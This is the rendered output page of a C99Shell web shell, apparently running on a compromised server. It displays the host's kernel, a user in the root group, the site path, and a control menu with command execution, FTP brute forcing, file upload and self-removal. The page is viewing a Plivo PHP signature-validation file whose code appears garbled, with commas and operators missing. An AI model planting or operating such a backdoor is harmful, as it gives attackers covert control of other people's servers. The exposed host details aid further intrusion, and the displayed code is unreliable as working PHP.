!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/plivo/plivo-php/src/Plivo/Util/   drwxr-xr-x
Free 29.12 GB of 117.98 GB (24.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     signatureValidation.php (984 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Plivo\Util;


/**
 * Class signatureValidation
 * @package Plivo\Util
 */
class signatureValidation
{
    
/**
     * Return an array without keys with null values
     *
     * @param array $array
     * @return array
     */
    
public static function validateSignature($uri$nonce$signature$auth_token='')
    {
      
$nonce utf8_encode($nonce);
      
$signature utf8_encode($signature);
      
$auth_token utf8_encode($auth_token);
      
$uri utf8_encode($uri);
      
$port '';
      
$parsed_uri parse_url($uri);
      
$base_url $parsed_uri['scheme'].'://'.$parsed_uri['host'];
      if (isset(
$parsed_uri['port'])) {
        
$base_url .= ':'.$parsed_uri['port'];
      }
      if (isset(
$parsed_uri['path'])) {
        
$base_url .= $parsed_uri['path'];
      }
      
$hmac hash_hmac('SHA256'$base_url.$nonce$auth_tokentrue);
      
$authentication_string base64_encode($hmac);
      return 
$authentication_string == $signature;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--